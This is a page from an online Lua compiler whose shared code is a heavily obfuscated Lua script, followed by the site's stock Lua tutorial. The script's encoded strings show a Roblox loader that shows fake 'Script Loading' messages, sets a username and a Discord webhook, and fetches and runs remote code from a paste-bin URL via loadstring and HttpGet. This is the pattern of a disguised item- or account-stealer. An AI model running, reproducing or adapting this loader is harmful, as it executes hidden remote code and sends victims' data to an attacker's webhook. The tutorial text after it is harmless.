--[[ .____ ________ ___. _____ __ | | __ _______ \_____ \\_ |___/ ____\_ __ ______ ____ _____ _/ |_ ___________ | | | | \__ \ / | \| __ \ __\ | \/ ___// ___\\__ \\ __\/ _ \_ __ \ | |___| | // __ \_/ | \ \_\ \ | | | /\___ \\ \___ / __ \| | ( <_> ) | \/ |_______ \____/(____ /\_______ /___ /__| |____//____ >\___ >____ /__| \____/|__| \/ \/ \/ \/ \/ \/ \/ \_Welcome to LuaObfuscator.com (Alpha 0.2.8) ~ Much Love, Ferib ]]-- do local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=math.ldexp;local v9=getfenv or function()return _ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack or table.unpack ;local v14=tonumber;local function v15(v16,v17,...)local v18=1;local v19;v16=v4(v3(v16,5),"..",function(v30)if (v1(v30,2)==79) then local v82=0;while true do if (v82==0) then v19=v0(v3(v30,1,1));return "";end end else local v83=v2(v0(v30,16));if v19 then local v92=v5(v83,v19);v19=nil;return v92;else return v83;end end end);local function v20(v31,v32,v33)if v33 then local v84=0 -0 ;local v85;while true do if (v84==(0 + 0)) then v85=(v31/((879 -(282 + 595))^(v32-((1 + 1) -1))))%((2 + 0)^(((v33-(1 -0)) -(v32-(1 -0))) + (1066 -(68 + 997)))) ;return v85-(v85%(2 -1)) ;end end else local v86=(621 -(555 + 64))^(v32-(932 -((1814 -(892 + 65)) + (176 -102)))) ;return (((v31%(v86 + v86))>=v86) and (569 -(367 + 201))) or (927 -((395 -181) + 713)) ;end end local function v21()local v34=v1(v16,v18,v18);v18=v18 + 1 ;return v34;end local function v22()local v35=0 -0 ;local v36;local v37;while true do if (v35==(1 + 0)) then return (v37 * (606 -(87 + (707 -444)))) + v36 ;end if (v35==0) then v36,v37=v1(v16,v18,v18 + 2 );v18=v18 + (182 -(67 + 113)) ;v35=1 + 0 ;end end end local function v23()local v38=0 -0 ;local v39;local v40;local v41;local v42;while true do if (v38==(0 + 0)) then v39,v40,v41,v42=v1(v16,v18,v18 + (1000 -(915 + 82)) );v18=v18 + 4 ;v38=(3 -1) -1 ;end if (v38==(1 + 0)) then return (v42 * (22064430 -5287214)) + (v41 * (66723 -(1069 + 118))) + (v40 * (580 -(57 + 267))) + v39 ;end end end local function v24()local v43=0 -0 ;local v44;local v45;local v46;local v47;local v48;local v49;while true do if (v43==((1916 -(1789 + 124)) + 0)) then if (v48==(791 -(368 + 423))) then if (v47==(0 -0)) then return v49 * 0 ;else v48=(1442 -(630 + 793)) -(10 + 8) ;v46=0 -0 ;end elseif (v48==(2489 -(416 + (87 -61)))) then return ((v47==(0 -0)) and (v49 * ((1 + (0 -0))/(0 -0)))) or (v49 * NaN) ;end return v8(v49,v48-(1461 -(145 + 293)) ) * (v46 + (v47/((432 -(44 + 386))^((606 + 932) -(998 + 488))))) ;end if (v43==(1 + 0)) then v46=(767 -(745 + 21)) + 0 ;v47=(v20(v45,773 -(201 + 571) ,1158 -((399 -283) + 1022) ) * ((1 + 1)^(133 -101))) + v44 ;v43=(5 -3) + (0 -0) ;end if (v43==(7 -5)) then v48=v20(v45,74 -53 ,890 -(814 + 45) );v49=((v20(v45,78 -46 )==((1748 -(760 + 987)) + 0)) and -(1 + 0 + 0)) or 1 ;v43=888 -(261 + 624) ;end if (v43==(0 -0)) then v44=v23();v45=v23();v43=1081 -(1020 + 60) ;end end end local function v25(v50)local v51=(701 -(376 + 325)) + 0 ;local v52;local v53;while true do if (v51==(1058 -(87 + 968))) then return v6(v53);end if ((4 -3)==v51) then v52=v3(v16,v18,(v18 + v50) -(1 + 0) );v18=v18 + v50 ;v51=2;end if (v51==(0 -0)) then v52=nil;if not v50 then v50=v23();if (v50==(0 -0)) then return "";end end v51=1414 -(447 + (2972 -2006)) ;end if (v51==(1 + 1)) then v53={};for v93=2 -1 , #v52 do v53[v93]=v2(v1(v3(v52,v93,v93)));end v51=1820 -(1703 + (250 -136)) ;end end end local v26=v23;local function v27(...)return {...},v12("#",...);end local function v28()local v54=0 + 0 ;local v55;local v56;local v57;local v58;local v59;local v60;local v61;while true do if ((0 -0)~=v54) then else local v89=0 -0 ;while true do if (v89==(1934 -(565 + 1368))) then v54=3 -2 ;break;end if (v89==0) then v55=1661 -(1477 + 184) ;v56=nil;v89=1 -0 ;end end end if ((2 -1)==v54) then local v90=1900 -(106 + 1794) ;while true do if (v90==1) then v54=1 + 1 ;break;end if (v90~=(0 + 0)) then else v57=nil;v58=nil;v90=1 -0 ;end end end if ((8 -5)==v54) then v61=nil;while true do if (v55~=(306 -(244 + 60))) then else local v101=0;local v102;while true do if (v101~=0) then else v102=0 -0 ;while true do if (v102~=(0 + 0)) then else local v107=0;while true do if (v107==0) then for v159=115 -(4 + 110) ,v60 do local v160=584 -(57 + 527) ;local v161;local v162;local v163;local v164;while true do if (v160~=2) then else while true do if (v161~=(1 + 0)) then else v164=nil;while true do if (v162~=(1126 -(936 + 189))) then else if (v163==(1 + 0)) then v164=v21()~=(1613 -(1565 + 48)) ;elseif (v163==(1429 -(41 + 1386))) then v164=v24();elseif (v163~=(2 + 1)) then else v164=v25();end v61[v159]=v164;break;end if ((103 -(17 + 86))==v162) then local v199=1138 -(782 + 356) ;local v200;local v201;while true do if ((0 + 0)~=v199) then else v200=0 -0 ;v201=nil;v199=1;end if ((2 -1)==v199) then while true do if (v200==(0 -0)) then v201=166 -(122 + 44) ;while true do if (v201==(0 -0)) then local v212=0 -0 ;while true do if ((3 -2)~=v212) then else v201=1093 -(975 + 117) ;break;end if (v212~=(0 + 0)) then else v163=v21();v164=nil;v212=1876 -(157 + 1718) ;end end end if (v201==(1 + 0)) then v162=1;break;end end break;end end break;end end end end break;end if (v161==(0 -0)) then local v197=0;while true do if (v197~=(0 -0)) then else v162=65 -(30 + 35) ;v163=nil;v197=1 + 0 ;end if (1~=v197) then else v161=1258 -(1043 + 214) ;break;end end end end break;end if (v160~=(2 -1)) then else v163=nil;v164=nil;v160=3 -1 ;end if (v160~=(0 -0)) then else v161=0 -0 ;v162=nil;v160=1;end end end v59[2 + 1 ]=v21();v107=1 -0 ;end if ((1213 -(323 + 889))~=v107) then else v102=2 -1 ;break;end end end if (v102~=(581 -(361 + 219))) then else for v109=1,v23() do local v110=320 -(53 + 267) ;local v111;local v112;while true do if (v110~=(1 + 0)) then else while true do if ((413 -(15 + 398))==v111) then v112=v21();if (v20(v112,873 -(826 + 46) ,948 -(245 + 702) )==0) then local v190=0;local v191;local v192;local v193;local v194;local v195;local v196;while true do if (v190==(983 -(18 + 964))) then v193=nil;v194=nil;v190=6 -4 ;end if (2~=v190) then else v195=nil;v196=nil;v190=1 + 2 ;end if (v190==(0 -0)) then v191=0 + 0 ;v192=nil;v190=1;end if (v190~=(2 + 1)) then else while true do if (1~=v191) then else local v202=0;while true do if (v202~=(851 -(20 + 830))) then else v191=2;break;end if (v202==(0 + 0)) then v194=nil;v195=nil;v202=1;end end end if (v191==(128 -(116 + 10))) then v196=nil;while true do if (v192~=(1 + 1)) then else while true do if (v193==0) then local v204=738 -(542 + 196) ;local v205;while true do if (v204~=(0 -0)) then else v205=0 + 0 ;while true do if (v205~=(1 + 0)) then else v193=1 + 0 ;break;end if (v205~=(0 -0)) then else local v215=0 -0 ;local v216;while true do if (v215==(1205 -(902 + 303))) then v216=0 -0 ;while true do if ((1551 -(1126 + 425))~=v216) then else local v223=405 -(118 + 287) ;while true do if (v223~=(1 + 0)) then else v216=1691 -(1121 + 569) ;break;end if ((0 -0)~=v223) then else v194=v20(v112,1123 -(118 + 1003) ,8 -5 );v195=v20(v112,381 -(142 + 235) ,27 -21 );v223=1 -0 ;end end end if (v216==(1 + 0)) then v205=978 -(553 + 424) ;break;end end break;end end end end break;end end end if (v193==(564 -(334 + 228))) then local v206=0 -0 ;local v207;while true do if (v206==0) then v207=0 + 0 ;while true do if (v207==0) then if (v20(v195,1 + 0 ,1 + 0 )==(2 -1)) then v196[1 + 1 ]=v61[v196[2 + 0 ]];end if (v20(v195,4 -2 ,2)~=1) then else v196[239 -(141 + 95) ]=v61[v196[3 + 0 ]];end v207=2 -1 ;end if (v207==(2 -1)) then v193=1 + 2 ;break;end end break;end end end if (v193~=(2 -1)) then else local v208=0 + 0 ;local v209;local v210;while true do if (v208~=(2 -1)) then else while true do if (v209==(0 -0)) then v210=0 + 0 ;while true do if (v210==(164 -(92 + 71))) then v193=1 + 1 ;break;end if (v210~=(0 -0)) then else v196={v22(),v22(),nil,nil};if (v194==0) then local v221=0 -0 ;local v222;while true do if (v221==0) then v222=126 -(55 + 71) ;while true do if (v222==(0 -0)) then v196[756 -(239 + 514) ]=v22();v196[4]=v22();break;end end break;end end elseif (v194==(1 + 0)) then v196[8 -5 ]=v23();elseif (v194==(1 + 1)) then v196[4 -1 ]=v23() -((941 -(714 + 225))^(46 -30)) ;elseif (v194==(1332 -(797 + 532))) then local v228=0 + 0 ;local v229;while true do if ((0 -0)~=v228) then else v229=806 -(118 + 688) ;while true do if (v229~=(0 + 0)) then else v196[3]=v23() -((4 -2)^(1218 -(373 + 829))) ;v196[4]=v22();break;end end break;end end end v210=732 -(476 + 255) ;end end break;end end break;end if (v208~=(0 -0)) then else v209=0;v210=nil;v208=733 -(16 + 716) ;end end end if (v193~=(1133 -(369 + 761))) then else if (v20(v195,5 -2 ,100 -(11 + 86) )~=(1 + 0)) then else v196[9 -5 ]=v61[v196[4]];end v56[v109]=v196;break;end end break;end if (v192==(286 -(175 + 110))) then v195=nil;v196=nil;v192=2;end if (v192~=(0 -0)) then else v193=0;v194=nil;v192=1;end end break;end if (v191~=0) then else local v203=0 -0 ;while true do if (v203==1) then v191=1797 -(503 + 1293) ;break;end if (v203==0) then v192=0 -0 ;v193=nil;v203=239 -(64 + 174) ;end end end end break;end end end break;end end break;end if ((0 + 0)~=v110) then else v111=0;v112=nil;v110=1;end end end v55=3;break;end end break;end end end if (v55~=(1062 -(810 + 251))) then else v59={v56,v57,nil,v58};v60=v23();v61={};v55=218 -(42 + 174) ;end if ((0 + 0)~=v55) then else local v103=0 + 0 ;local v104;while true do if ((0 + 0)~=v103) then else v104=533 -(43 + 490) ;while true do if (v104~=(733 -(711 + 22))) then else local v108=0 -0 ;while true do if (v108~=1) then else v104=860 -(240 + 619) ;break;end if (v108~=0) then else v56={};v57={};v108=1505 -(363 + 1141) ;end end end if (v104~=(1 -0)) then else v58={};v55=1 + 0 ;break;end end break;end end end if (v55==(1747 -(1344 + 400))) then local v105=1580 -(1183 + 397) ;local v106;while true do if (v105~=(0 -0)) then else v106=0 + 0 ;while true do if (v106~=(0 + 0)) then else for v113=1 + 0 ,v23() do v57[v113-1 ]=v28();end return v59;end end break;end end end end break;end if (v54==2) then local v91=0 + 0 ;while true do if (v91==(0 -0)) then v59=nil;v60=nil;v91=3 -2 ;end if (v91~=(1976 -(1913 + 62))) then else v54=1742 -(404 + 1335) ;break;end end end end end local function v29(v62,v63,v64)local v65=v62[1];local v66=v62[2];local v67=v62[3];return function(...)local v68=v65;local v69=v66;local v70=v67;local v71=v27;local v72=1;local v73= -1;local v74={};local v75={...};local v76=v12("#",...) -1 ;local v77={};local v78={};for v87=0,v76 do if (v87>=v70) then v74[v87-v70 ]=v75[v87 + 1 ];else v78[v87]=v75[v87 + 1 ];end end local v79=(v76-v70) + 1 ;local v80;local v81;while true do local v88=0;while true do if (v88==1) then if (v81<=7) then if (v81<=3) then if (v81<=1) then if (v81>0) then local v115=0;local v116;local v117;local v118;local v119;local v120;while true do if (v115==0) then v116=nil;v117,v118=nil;v119=nil;v120=nil;v78[v80[2]]=v64[v80[3]];v72=v72 + 1 ;v115=1;end if (v115==2) then v80=v68[v72];v78[v80[2]]=v80[3];v72=v72 + 1 ;v80=v68[v72];v78[v80[2]]=v80[3]~=0 ;v72=v72 + 1 ;v115=3;end if (3==v115) then v80=v68[v72];v120=v80[2];v117,v118=v71(v78[v120](v13(v78,v120 + 1 ,v80[3])));v73=(v118 + v120) -1 ;v116=0;for v185=v120,v73 do v116=v116 + 1 ;v78[v185]=v117[v116];end v115=4;end if (5==v115) then v78[v80[2]]();v72=v72 + 1 ;v80=v68[v72];v72=v80[3];break;end if (v115==1) then v80=v68[v72];v120=v80[2];v119=v78[v80[3]];v78[v120 + 1 ]=v119;v78[v120]=v119[v80[4]];v72=v72 + 1 ;v115=2;end if (v115==4) then v72=v72 + 1 ;v80=v68[v72];v120=v80[2];v78[v120]=v78[v120](v13(v78,v120 + 1 ,v73));v72=v72 + 1 ;v80=v68[v72];v115=5;end end else v78[v80[2]]();end elseif (v81==2) then local v121=v80[2];local v122=v78[v80[3]];v78[v121 + 1 ]=v122;v78[v121]=v122[v80[4]];elseif (v78[v80[2]]==v80[4]) then v72=v72 + 1 ;else v72=v80[3];end elseif (v81<=5) then if (v81==4) then v64[v80[3]]=v78[v80[2]];v72=v72 + 1 ;v80=v68[v72];v78[v80[2]]=v64[v80[3]];v72=v72 + 1 ;v80=v68[v72];v78[v80[2]][v80[3]]=v80[4];v72=v72 + 1 ;v80=v68[v72];v78[v80[2]]=v80[3];v72=v72 + 1 ;v80=v68[v72];v72=v80[3];else v78[v80[2]]=v64[v80[3]];end elseif (v81==6) then v72=v80[3];else local v135=v80[2];local v136,v137=v71(v78[v135](v13(v78,v135 + 1 ,v80[3])));v73=(v137 + v135) -1 ;local v138=0;for v153=v135,v73 do local v154=0;while true do if (v154==0) then v138=v138 + 1 ;v78[v153]=v136[v138];break;end end end end elseif (v81<=11) then if (v81<=9) then if (v81>8) then v78[v80[2]][v80[3]]=v80[4];else v78[v80[2]]=v80[3];end elseif (v81>10) then v64[v80[3]]=v78[v80[2]];elseif (v80[2]==v78[v80[4]]) then v72=v72 + 1 ;else v72=v80[3];end elseif (v81<=13) then if (v81>12) then local v145=v80[2];v78[v145]=v78[v145](v13(v78,v145 + 1 ,v73));else do return;end end elseif (v81<=14) then v78[v80[2]][v80[3]]=v80[4];v72=v72 + 1 ;v80=v68[v72];v78[v80[2]]=v64[v80[3]];v72=v72 + 1 ;v80=v68[v72];v78[v80[2]][v80[3]]=v80[4];v72=v72 + 1 ;v80=v68[v72];v78[v80[2]]=v80[3];v72=v72 + 1 ;v80=v68[v72];v72=v80[3];elseif (v81==15) then for v183=v80[2],v80[3] do v78[v183]=nil;end else v78[v80[2]]=v80[3]~=0 ;end v72=v72 + 1 ;break;end if (v88==0) then v80=v68[v72];v81=v80[1];v88=1;end end end end;end return v29(v28(),{},v17)(...);end v15("LOL!193O00028O00026O00084003023O005F4703093O00546869726454657874030E3O00416C6D6F737420446F6E653O2E030B3O0057616974696E6754696D65025O00C07240026O001040030A3O006C6F6164737472696E6703043O0067616D6503073O00482O747047657403203O00682O7470733A2O2F70617374652D62696E2E78797A2F7261772F39383436383503083O00557365724E616D6503063O0077377368343203093O00557365724E616D6532026O00F03F027O004003093O00466972737454657874030D3O00506C6561736520776169742O2E030A3O005365636F6E645465787403113O00536372697074204C6F6164696E673O2E03073O00576562682O6F6B03793O00682O7470733A2O2F646973636F72642E636F6D2F6170692F776562682O6F6B732F3O312O33313O38333635313233313830372F345A74717934514B2O78366E774E6A6F67384E487A7644702O7350725A437176464E784552476C70422D4A4435717250776168543664526E7436772O4272546754685741030A3O005363726970744E616D6503093O004C6F6164696E672O2E00483O0012083O00014O000F000100013O0026033O0002000100010004063O00020001001208000100013O0026030001000C000100020004063O000C0001001205000200033O003009000200040005001205000200033O003009000200060007001208000100083O00260300010017000100080004063O00170001001205000200093O0012010003000A3O00202O00030003000B00122O0005000C6O000600016O000300066O00023O00024O00020001000100044O0047000100260300010026000100010004063O00260001001208000200013O000E0A00010021000100020004063O002100010012080003000E3O00120B0003000D3O0012080003000E3O00120B0003000F3O001208000200103O0026030002001A000100100004063O001A0001001208000100103O0004063O002600010004063O001A000100260300010035000100110004063O00350001001208000200013O0026030002002D000100100004063O002D0001001208000100023O0004063O0035000100260300020029000100010004063O00290001001205000300033O00300E00030012001300122O000300033O00302O00030014001500122O000200103O00044O0029000100260300010005000100100004063O00050001001208000200013O0026030002003C000100100004063O003C0001001208000100113O0004063O0005000100260300020038000100010004063O00380001001208000300173O001204000300163O00122O000300033O00302O00030018001900122O000200103O00044O003800010004063O000500010004063O004700010004063O000200012O000C3O00017O00",v9(),...);end
Write, Run & Share Lua code online using OneCompiler's Lua online compiler for free. It's one of the robust, feature-rich online compilers for Lua language, running the latest Lua version 5.4. Getting started with the OneCompiler's Lua editor is easy and fast. The editor shows sample boilerplate code when you choose language as Lua and start coding.
OneCompiler's Lua online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample Lua program which takes name as input and prints hello message with your name.
name = io.read("*a")
print ("Hello ", name)
Lua is a light weight embeddable scripting language which is built on top of C. It is used in almost all kind of applications like games, web applications, mobile applications, image processing etc. It's a very powerful, fast, easy to learn, open-source scripting language.
-- global variables
a = 10
-- local variables
local x = 30
Value Type | Description |
---|---|
number | Represents numbers |
string | Represents text |
nil | Differentiates values whether it has data or not |
boolean | Value can be either true or false |
function | Represents a sub-routine |
userdata | Represents arbitary C data |
thread | Represents independent threads of execution. |
table | Can hold any value except nil |
While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.
while(condition)
do
--code
end
Repeat-Until is also used to iterate a set of statements based on a condition. It is very similar to Do-While, it is mostly used when you need to execute the statements atleast once.
repeat
--code
until( condition )
For loop is used to iterate a set of statements based on a condition.
for init,max/min value, increment
do
--code
end
Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increase re-usuability and modularity.
optional_function_scope function function_name( argument1, argument2, argument3........, argumentn)
--code
return params with comma seperated
end